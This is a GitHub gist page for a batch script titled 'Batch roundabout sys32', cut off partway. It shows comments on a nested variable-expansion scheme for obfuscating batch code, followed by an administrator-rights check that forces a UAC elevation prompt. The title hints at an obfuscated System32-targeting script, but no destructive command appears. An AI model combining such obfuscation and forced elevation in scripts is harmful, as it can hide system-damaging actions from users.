Skip to content

Instantly share code, notes, and snippets.

@sleepless-p03t
sleepless-p03t / oof.bat
Last active October 22, 2019 16:37
Batch roundabout sys32
@echo off
:: Patterns for setting and expanding variables, based on a depth of 5
:: V(n) is a set representing the variable depth
:: V(0) = 0
:: V(1) = 1
:: V(2) = !1 -> V(2-1) * 3 - 2 = 1 * 3 - 2 = 1
:: V(3) = !5 -> V(3-1) * 3 + 2 = 1 * 3 + 2 = 5
:: V(4) = !13 -> V(4-1) * 3 - 2 = 5 * 3 - 2 = 13
:: V(n) = V(n-1) * 3 - 2; n is even; n > 1
@echo off
IF '%PROCESSOR_ARCHITECTURE%' EQU 'amd64' (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\icacls.exe" "%SYSTEMROOT%\SysWOW64\config"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\icacls.exe" "%SYSTEMROOT%\system32\config"
)
if '%errorlevel%' NEQ '0' (
goto UACPrompt
) else (